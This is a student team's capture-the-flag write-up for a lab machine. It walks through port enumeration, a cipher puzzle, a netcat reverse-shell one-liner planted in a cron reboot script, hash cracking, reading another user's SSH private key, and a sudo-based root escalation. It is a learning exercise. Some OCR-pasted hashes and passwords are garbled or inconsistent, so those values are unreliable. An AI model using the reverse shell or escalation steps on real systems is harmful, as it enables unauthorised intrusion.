

TL6L

PENTEST 1

1K HONDA

Members

ID	Name	Role
1211100415	Muhammad Ummar Hisham bin Ahmad Madzlan	Leader
1211103066	Balqis Afiqah binti Ahmad Fahmi	Member
1211101925	Nur Alya Nabilah binti Md. Naser	Member
1211103299	Shuuban Subramaniam	Member

Recon and Enumeration

Members Involved: Shuuban

Tools: Terminal, Kali Linux, Nmap, SSH Client, boxentriq cipher identifier

Thought Process and Methodology:

Initially, once we had gained the access to the targeted machine's IP address, Alya ran a basic enumeration using Nmap. We waited a few minutes for the scan to complete.

```
(1211101925@kali)-[~] Address
$ nmap -Pn 10.10.47.127
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 12:20 EDT
Nmap scan report for 10.10.47.127
Host is up (0.19s latency).
Not shown: 916 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
9000/tcp   open  cslistener
9001/tcp   open  tor-orport
9002/tcp   open  dynamid
9003/tcp   open  unknown
9009/tcp   open  pichat
9010/tcp   open  sdr
9011/tcp   open  d-star
9040/tcp   open  tor-trans
9050/tcp   open  tor-socks
9071/tcp   open  unknown
9080/tcp   open  glrpc
9081/tcp   open  cisco-aqos
9090/tcp   open  zeus-admin
9091/tcp   open  xmltec-xmlmail
9099/tcp   open  unknown
9100/tcp   open  jetdirect
9101/tcp   open  jetdirect
9102/tcp   open  jetdirect
9103/tcp   open  jetdirect
9110/tcp   open  unknown
9111/tcp   open  DragonIDSConsole
9200/tcp   open  wap-wsp
9207/tcp   open  wap-vcal-s
9220/tcp   open  unknown
9290/tcp   open  unknown
```

Once we have completed the scan, we can see a huge number of open ports ranging from 9000 to 13783. We concluded that one of these ports was the one that would give us access to the username and password.

We tried to connect to one of these ports where we received either two messages; HIGHER or LOWER. Then, Shuuban deduced that these messages referred to the next port that we should connect.

```
(1211101925@kali)-[~]
$ ssh 10.10.47.127 -p 12636
The authenticity of host '[10.10.47.127]:12636 ([10.10.47.127]:12636)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKOZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:3: [hashed name]
~/.ssh/known_hosts:4: [hashed name]
~/.ssh/known_hosts:5: [hashed name]
~/.ssh/known_hosts:6: [hashed name]
~/.ssh/known_hosts:7: [hashed name]
~/.ssh/known_hosts:8: [hashed name]
~/.ssh/known_hosts:9: [hashed name]
~/.ssh/known_hosts:10: [hashed name]
(43 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.47.127]:12636' (RSA) to the list of known hosts.
Lower
Connection to 10.10.47.127 closed.

(1211101925@kali)-[~]
$ ssh 10.10.47.127 -p 12640
Higher
Connection to 10.10.47.127 closed.

(1211101925@kali)-[~]
$ ssh 10.10.47.127 -p 12637
Lower
Connection to 10.10.47.127 closed.

(1211101925@kali)-[~]
$ ssh 10.10.47.127 -p 12638
Lower
Connection to 10.10.47.127 closed.
```

Next, Shuuban scanned port 12637, it showed lower and when we scanned port 12640, it showed higher, which indicated the port we are looking for is in between the port range from 12637 - 12640.

```

(1211101925@kali)~$
$ ssh 10.10.47.127 -p 12639 press
You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiaql.

'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe Kepu bwhx sbai, tst jlbal vppa grmjll!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl jintmofh Iaohxtachxta!'

Oi tzdr hjw oqzehp jpvvd tc oaoth:
Eqvv amdX ale xpuxpqx hwt oi jhbkh--
Hv rfwmgl wl fp moi Tfbaun xkgm,
Puh jmvds lloimi bp bwvyxaa.

Eno pz io yyhqho xyhbke wl sushf,
Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,
Jani pjqumpzgn xhcdgbi xag bjskvr dsoo,
Pud cykdttk ej ba gaxt!

Vnf, xpq! Wcl, xnh! Hrd ewyovka cvs alihbkh
Ewl vpvict qseux dine huidoxT-achgb!
Al peqi pt eitif, ick azmo mtd wlae
Lx ymca krebqpsxug cevnm.

'Ick lrla xhzj zlbmg vpt Qesulvwzrr?
Cpqx vw bf eifz, qy mthmjwa dwn!
V jitinofh kaz! Gnttdvl! Ttspaj!'
Wl ciskvttk me apw jzn.

'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdtc semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd
Enter Secret:

```

From the range of ports, port number 12639 had a different output, which states that we had solved the challenge, it displayed a message which did not make sense, so we assumed that the message is encrypted / cipher text which we have to decode and at the bottom, there was a section requesting for a secret key.

Results

Decoded message

via gyre and gimble in the wabe;

All mimsy were the borogoves,

And the mome raths outrgrabe.

Your secret is bewareTheJabberwock

Copy

Text Options...

Not seeing the correct result? Try [Auto Solve](#) or use the [Cipher Identifier Tool](#).

Auto Solve results

Score	Key	Text
37275	thealphabetcipher	twas brillig and the slithy toves did gyre and gimble in the wabe all mimsy were the borogoves and the mome raths outrgrabe beware the jabberwock my son the jaws that bite the claws that catch beware the jubjub bird and shun the frumious bandersnatch he took his vorpal sword in hand long time the manxome foe he sought so rested he by the tumtum tree and stood awhile in thought and as in uffish thought he stood the jabberwock with eyes of flame came whiffing through the tulgey wood and burbled a

Next, Alya copied the text and looked it up using a few decoder websites and we identified that the cipher text is using “vigenere cipher”. We pasted the entire text and set the key length ranging from 2 - 20 and we identified that the key used was “thealphabetcipher” and it was a poem and at the end of the poem was the secret key which we assumed that it was the secret key.

```
did gyre and gimble in the wabe;  
All mimsy were the borogoves,  
And the mome raths outgrabe.  
Your secret is bewareTheJabberwock
```

```
Enter Secret:  
jabberwock:DisappearedMiddleCeilingSaying  
Connection to 10.10.47.127 closed.
```

We inserted the secret key and the output displayed the username and password for the attacking machine.

```
(1211101925@kali)-[~]  
$ ssh -p 22 jabberwock@10.10.47.127  
The authenticity of host '10.10.47.127 (10.10.47.127)' can't be established.  
ED25519 key fingerprint is SHA256:xs9LzYRViB8jiE4uU7UlpLdwXgzR3sCZpTYFU2RgvJ4.  
This host key is known by the following other names/addresses:  
  ~/.ssh/known_hosts:29: [hashed name]  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '10.10.47.127' (ED25519) to the list of known hosts.  
jabberwock@10.10.47.127's password:  
Permission denied, please try again.  
jabberwock@10.10.47.127's password:  
Last login: Fri Jul  3 03:05:33 2020 from 192.168.170.1
```

With the username and password we opened a SSH connection using the username: jabberwock and entered the password as displayed: DissapearedMiddleCeilingSaying and we established an SSH connection with the attacking machine.

<https://youtu.be/CrJXniNV6PQ>

Shuuban did a simple exploration through the machine and identified 3 files, 1 of the file was named user.txt.

```
jabberwock@looking-glass:~$ cat user.txt  
{32a911966cab2d643f5d57d9e0173d56{mht  
jabberwock@looking-glass:~$ cat user.txt | rev  
thm{65d3710e9d75d5f346d2bac669119a23}
```

We viewed the user text file and identified the flag which was backwards, so we flipped the flag from back to the front where we got the first flag: thm{65d3710e9d75d5f346d2bac669119a23}

Initial Foothold

Members Involved: Alya Nabilah

Tools: Kali Linux, Terminal, GNU Nano, Pentestmonkeys, Netcat, Bash, SSH Client

Thought Process and Methodology:

After that Alya used the cat command to view the content of the file and to check out the crontab. This help us see what file is running when the box boots. It shows the table of commands to be run by cron, each of which is to be executed by the operating system at a specified time.

```
jabberwock@looking-glass:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --r
eport /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --r
eport /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --r
eport /etc/cron.monthly )
#
@reboot tweedledum bash /home/jabberwock/twasBrillig.sh
```

The bottom line indicates that when the server is reboot, the twasBrillig.sh script is executed as user tweedledum. We already know that we can change the script, so we just need to figure out how to reboot the box.

Next, Shuuban use sudo with the -l command to check what sudo permissions we have as jabberwock

```
@reboot tweedledum bash /home/jabberwock/twasBrillig.sh
jabberwock@looking-glass:~$ sudo -l
Matching Defaults entries for jabberwock on looking-glass:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\
:/bin\:/snap/bin

User jabberwock may run the following commands on looking-glass:
    (root) NOPASSWD: /sbin/reboot
```

We as the initial user jabberwock , got the privileged to reboot the box without a password.

Next, Alya use nano to modified text files inside the twasBrillig.sh

```
jabberwock@looking-glass:~$ nano twasBrillig.sh
```

Inside the twasBrillig.sh text file, Ummar suggest to refers from PentestMonkeys cheatsheets and use one of the script from it to put inside the nano file in the second line.


```
GNU nano 2.9.3          twasBrillig.sh          Modified
and robust php-reverse-shell.
wall $(cat /home/jabberwock/poem.txt)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.92.127 1234 >/tm$

li;exec printf("/bin/sh -i <&sd >&sd 2>&sd",f,f,f)'

If it is there are several version of netcat, some of which don't

ce points out here that you might still be able to get your reverse

^G Get Help      ^O Write Out     ^W Where Is      ^K Cut Text      ^J Justify
^X Exit          ^R Read File     ^\ Replace       ^U Uncut Text   ^T To Linter
```

Now, Alya can start a netcat listener on our kali machine to scan data that have in the network

```
(1211100415@kali)-[~]
$ nc -lvnp 1234
listening on [any] 1234 ...
```

Then, Alya tried to reboot the box and hoping to get connection when it comes back up

```
jabberwock@looking-glass:~$ sudo /sbin/reboot
Connection to 10.10.35.102 closed by remote host.
Connection to 10.10.35.102 closed.
```

After a few minutes while waiting for the netcat start reading data, we can see the box got connected.


```
(1211100415@kali)-[~]  
$ nc -lvnp 1234  
listening on [any] 1234 ...  
10.10.35.102  
connect to [10.8.92.127] from (UNKNOWN) [10.10.35.102] 33050  
/bin/sh: 0: can't access tty; job control turned off  
$ $
```

Now, we can check the id as who we are. As we can see we get tweedledum user.

```
$ $ id  
uid=1002(tweedledum) gid=1002(tweedledum) groups=1002(tweedledum)
```

Horizontal Privilege Escalation

Members Involved: Balqis

Tools: Kali Linux, Terminal, Python3, Bash, Cyberchef, CrackStation

Thought Process and Methodology:

After getting connected to the tweedledum user, we need to see the context of the user's file. But before that, we'll upgrade to a proper shell. Balqis will be using the list command, there would be shown 2 types of files under tweedledum user in the home folder.

```
$ python3 -c "import pty;pty.spawn('/bin/bash')"  
tweedledum@looking-glass:~$ ls -l  
ls -l  
total 8  
-rw-r--r-- 1 root root 520 Jul  3  2020 humptydumpty.txt  
-rw-r--r-- 1 root root 296 Jul  3  2020 poem.txt  
tweedledum@looking-glass:~$
```

Now, Balqis will open both files and see the context. By opening the poem file, there would be a poem presented. Meanwhile, the humptydumpty file will show an encrypted code. That needs to be encoded.

```
tweedledum@looking-glass:~$ cat poem.txt  
cat poem.txt  
'Tweedledum and Tweedledee  
  Agreed to have a battle;  
  For Tweedledum said Tweedledee  
  Had spoiled his nice new rattle.  
  
  Just then flew down a monstrous crow,  
  As black as a tar-barrel;  
  Which frightened both the heroes so,  
  They quite forgot their quarrel.'  
tweedledum@looking-glass:~$ cat humptydumpty.txt  
cat humptydumpty.txt  
dcffff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9  
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed  
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624  
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f  
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6  
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0  
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8  
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b
```

[Kali Tools](#)
[Kali Docs](#)
[Kali Forums](#)
[Kali NetHunter](#)
[Exploit-DB](#)
[Google Hacking DB](#)
[OffSec](#)

CrackStation

[CrackStation](#)
[Password Hashing Security](#)
[Defuse Security](#)

[Defuse.ca](#)
[Twitter](#)


Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

```

c1ffffeb40421f655a4cd9a8d7ed39ff6c3061686ff5766b4080b9e99061b0
7692c3ad35400b80c3e2b03aee6dc0887123234e0dc67143c0add737f431ed
28391d3bc644c15cb099426084aa6b7649c3cc85f112308b0195e82d15e3624
3b89e156d18d1cecdc1456375f8cae9943054a0b7dc2315b473d09d7f404f
fa51f49ab6f785da635d1821bc115ff5633aee1f9ebfc9d54956416f57f6
b9776d76df459c9ad50b106a6c1e27bf6599f06240677680d7cace5440b
5e8498bda2904715106e56f6dc62927736b30d6aabb062a11ef7721d154208
7468652678617377677264206973207a7978776754737271706f6e6dc6b

```

☐ I'm not a robot
 

Crack Hashes

Hash	Type	Result
c1ffffeb40421f655a4cd9a8d7ed39ff6c3061686ff5766b4080b9e99061b0	sha256	Maybe
7692c3ad35400b80c3e2b03aee6dc0887123234e0dc67143c0add737f431ed	sha256	one
28391d3bc644c15cb099426084aa6b7649c3cc85f112308b0195e82d15e3624	sha256	o7
3b89e156d18d1cecdc1456375f8cae9943054a0b7dc2315b473d09d7f404f	sha256	These
fa51f49ab6f785da635d1821bc115ff5633aee1f9ebfc9d54956416f57f6	sha256	is
b9776d76df459c9ad50b106a6c1e27bf6599f06240677680d7cace5440b	sha256	the
5e8498bda2904715106e56f6dc62927736b30d6aabb062a11ef7721d154208	sha256	password
7468652678617377677264206973207a7978776754737271706f6e6dc6b	unknown	Not found.

Color Codes: ■ Exact match, ■ Partial match, ■ Not found.

Operations

Search...

Favourites

To Base64

From Base64

To Hex

From Hex

To Hexdump

From Hexdump

URL Decode

Regular expression

Entropy

Fork

Magic

Data format

Encryption / Encoding

Public Key

Arithmetic / Logic

Recipe

From Hex

Delimiter
Auto

Last build: 18 days ago

Options

About / Support

Input

74686520706173776f7264206973207a7978777675747372717066e6dc6b

length: 64
lines: 1

Output

the password is zyxwvutsrqponlk

start: 32 time: 0ms
end: 82 length: 82
length: 0 lines: 1

Balqis typed in a command (su login) to switch users from Tweedledum user to humptydumpty user. Before switching balqis had to type in the password that had been found and decoded beforehand.

```
tweedledum@looking-glass:~$ su humptydumpty
su humptydumpty
Password: zyxwvutsrqponmlk

humptydumpty@looking-glass:/home/tweedledum$
```

the password is

Now we have another password, from the file called humptydumpty.txt. balqis will be navigating to the user's directory after the switching process from Tweedledum to humptydumpty file. We are now working in the context of the humptydumpty user.

```
humptydumpty@looking-glass:/home/tweedledum$ cd
cd
humptydumpty@looking-glass:~$ id
id
uid=1004(humptydumpty) gid=1004(humptydumpty) groups=1004(humptydumpty)
humptydumpty@looking-glass:~$
```

Root Privilege Escalation

Members Involved: Ummar Hisham

Tools: Kali Linux, linux-smart-enumeration, Bash, SSH Client

Thought Process and Methodology:

So, Balqis had used su login to switch the user to humptydumpty. Ummar verified the user we are currently using and we are indeed working in user humptydumpty context.

```
humptydumpty@looking-glass:/home/tweedledum$ cd
cd
humptydumpty@looking-glass:~$ id
id
uid=1004(humptydumpty) gid=1004(humptydumpty) groups=1004(humptydumpty)
humptydumpty@looking-glass:~$
```

Ummar lists the files inside the current directory, however the text files does not seem to contain anything useful for him. Realizing this, Ummar decided to head to the home directory.

```
humptydumpty@looking-glass:~$ ls
ls
poetry.txt
humptydumpty@looking-glass:~$ cd..
cd..
cd..: command not found
humptydumpty@looking-glass:~$ cd ../
cd ../
humptydumpty@looking-glass:/home$ ls
```

In the home directory, Ummar listed the files available and he can't help but to notice that the alice folder has execute properties for other users and groups.

```
humptydumpty@looking-glass:/home$ ls -ls
ls -ls
total 24
4 drwx--x--x 6 alice      alice      4096 Jul  3  2020 alice
4 drwx----- 3 humptydumpty humptydumpty 4096 Jul 26 06:54 humptydumpty
4 drwxrwxrwx 5 jabberwock jabberwock 4096 Jul 26 06:41 jabberwock
4 drwx----- 5 tryhackme  tryhackme  4096 Jul  3  2020 tryhackme
4 drwx----- 3 tweedledee  tweedledee 4096 Jul  3  2020 tweedledee
4 drwx----- 2 tweedledum  tweedledum 4096 Jul  3  2020 tweedledum
```

So, Ummar decided to head into the alice folder.

```
humptydumpty@looking-glass:/home$ cd alice
cd alice
```

Ummar cannot list out the files inside the directory as he does not have the permission to do so, however, with the execute permission, he can still read the files if he knew the name of the file. For example, he could read the .bashrc file in the home folder.

```
cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
```

After spending around 2 hours to find the file Ummar finally succeed in finding the RSA key inside the .ssh folder. He also noticed that the file is owned by the current user; humptydumpty.

```
humptydumpty@looking-glass:/home/alice$ ls -la .ssh/id_rsa
ls -la .ssh/id_rsa
-rw----- 1 humptydumpty humptydumpty 1679 Jul  3  2020 .ssh/id_rsa
humptydumpty@looking-glass:/home/alice$
```

Knowing that fact, he tried accessing the private keys.

```
cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEPgIBAAKCAQEAXmPncAXisNjbU2xizft4aYPqmfXm1735FPLGf4j9ExZhlmmD
NIRchPaFUqJXQZi5ryQH6YxZP5IIJXENK+a4WoRDyPoyGK/63rXTn/IWWKQka9tQ
2xrdnyxdwbtiKPlL4bq/4vU3OUcA+aYHxqhyq39arpeceHVit+jVPriHiCA73k7g
HCgpkwWczNa5MMGo+1Cg4ifzffv4uhPkxBLlL3f4rBf84RmuKEEy6bYZ+/WOEGHl
fks5ngFniW7x2R3vyq7xyDrwiXEjfw4yYe+kLiGZyyk1ia7HGhNKpIRufPdJdT+r
NGrjYFLjhzeWYBmHx7JkhkEUFIVx6ZV1y+giHQIDAQABAoIBAQDAhIA5kCyMqtQj
X2F+09J8qjvFzf+GSL7lAIVuC5Ryqlxm5tsg4nUZvLRgFRmpn7hJAjD/bWfKLb7j
/pHmkU1C4WkaJdjpZhSPfGjxpK4UtKx3Uetjw+1eomIVNu6pkivJ0DyXVJiTZ5jF
ql2PZTVpwPtRw+RebKMwjwo4k77Q30r8Kxr4UFX2hLHTHT8tsjqBUWrb/jLMHQ0
zmU73tuPVQSEsgeUP2j0lv7q5toEYieoA+7ULpGDwDn8PxQjCF/2QUa2jFalixsK
WfEcmTnIQDyOFWCBmgOvik4Lzk/rDGn9VjcYfXOpuj3XH2l8QDQ+GO+5BBg38+aJ
cUINwh4BAoGBAPdctuVROAkFpyEofZxQFqPqw3LZyviKena/HyWLxXWHxG6ji7aW
DmtVXjjQ0wcjOLuDKt4QQvCJVRGbdBVGOFLoWZzLpYGJchxmlR+RHCB40pZjBgr5
8bjJlQcp6pplBRcf/OsG5ugpCiJsS6uA6CWWXe6WC7r7V94r5wzzJpWBAoGBAM1R
aCg1/2UxIQxtAfQ+WDxqQQuq3szvrh22McIUe83dh+hUibaPqRlnYy1sAAhgy
wJohLchlq4E1LhUmTZZquBwviU73fNRbID5pfn4LKL6/yiF/GWd+Zv+t9n9DDWKi
WgT9aG7N+TP/yimYniR2ePu/xKIjWX/uSs3rSLcFAoGBA0xvcFpM5Pz6rD8jZrzs
SFexY9P5n0pn4ppyICFRMhIfDYD7TeXeFDY/yOnhDyrJXcb0ARwjivhDLdxhzFkx
X1DPyif292GTsMC4xL0BhLkziIY6bGI9efC4rXvFcvrUqDyc9ZzoYflykL9KaCGr
+zLC0tJ8FQZKjDhOGnDkUPMBAoGBAMrVaXiQH8bwSfyRobE3GaZUFw0yreYAsKGj
oPPwkhxhA0ULXdITOQ1+HQ79xagY0fjl6rBZpska59u1ldj/BhdbRpdRvuxsQr3n
```

Using that file, Ummar tried to ssh to alice.

```
humptydumpty@looking-glass:/home$ ssh alice@127.0.0.1 -i /home/alice/.ssh/id_rsa
come$ ssh alice@127.0.0.1 -i /home/alice/.ssh/id_rsa
Last login: Tue Jul 26 07:27:07 2022 from 127.0.0.1
alice@looking-glass:~$
```

```
alice@looking-glass:~$ id
id
uid=1005(alice) gid=1005(alice) groups=1005(alice)
```

Ummar looked around inside the folder and only found one file that seems useless.

```
alice@looking-glass:~$ ls -l
ls -l
total 4
-rw-rw-r-- 1 alice alice 369 Jul  3 2020 kitten.txt
alice@looking-glass:~$ cat kitten.txt
cat kitten.txt
She took her off the table as she spoke, and shook her backwards and forwards
with all her might.

The Red Queen made no resistance whatever; only her face grew very small, and
her eyes got large and green: and still, as Alice went on shaking her, she k
ept on growing shorter-and fatter-and softer-and rounder-and-

-and it really was a kitten, after all.
```

Ummar tried to look further for any useful files but can't seem to find anything obvious so he decided to use an enumeration script in the terminal.

```
(1211100415@kali)-[~]
└─$ wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master
/lse.sh" -O lse.sh;chmod 700 lse.sh
--2022-07-26 03:32:06-- https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh [following]
--2022-07-26 03:32:06-- https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 48061 (47K) [text/plain]
Saving to: 'lse.sh'

lse.sh          100%[=====>] 46.93K  --.-KB/s   in 0.04s

2022-07-26 03:32:07 (1.17 MB/s) - 'lse.sh' saved [48061/48061]
```


With that downloaded, Ummar switched back to the box and ran the script. After waiting for a while, the script found the path to the root with the hostname ssalg-gnikool. Ummar wanted to check the commands that could be ran by the user on the host.

```
alice@looking-glass:~$ sudo -l -h ssalg-gnikool
sudo -l -h ssalg-gnikool
sudo: unable to resolve host ssalg-gnikool
Matching Defaults entries for alice on ssalg-gnikool:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on ssalg-gnikool:
(root) NOPASSWD: /bin/bash
```

By exploiting the command, Ummar was able to escalate to root user.

```
alice@looking-glass:~$ sudo -h ssalg-gnikool /bin/bash
sudo -h ssalg-gnikool /bin/bash
sudo: unable to resolve host ssalg-gnikool
root@looking-glass:~# id
id
uid=0(root) gid=0(root) groups=0(root)
```





Ummar navigated to the root folder and list the files inside it.

```
root@looking-glass:~# cd /root
cd /root
root@looking-glass:/root# ls -l
ls -l
total 16
drwxr-xr-x 2 root root 4096 Jun 30 2020 passwords
-rw-r--r-- 1 root root 144 Jun 30 2020 passwords.sh
-rw-r--r-- 1 root root 38 Jul 3 2020 root.txt
-rw-r--r-- 1 root root 368 Jul 3 2020 the_end.txt
```

Finally, Ummar accessed the root.txt and he received the root flag: thm{bc2337b6f97d057b01da718ced6ead3f}.

```
root@looking-glass:/root# cat root.txt
cat root.txt
}f3dae6dec817ad10b750d79f6b7332cb{mht
root@looking-glass:/root# cat root.txt|rev
cat root.txt|rev
thm{bc2337b6f97d057b01da718ced6ead3f}
```

Contributions

ID	Name	Contributions	Signatures
1211100415	Ummar Hisham	Root Privilege Escalation	
1211103066	Balqis Afiqah	Horizontal Privilege Escalation	
1211101925	Alya Nabilah	Figured out the exploit for initial foothold.	
1211103299	Shuuban Subramaniam	Recon and Enumeration	

VIDEO LINK : <https://youtu.be/CrJXniNV6PQ>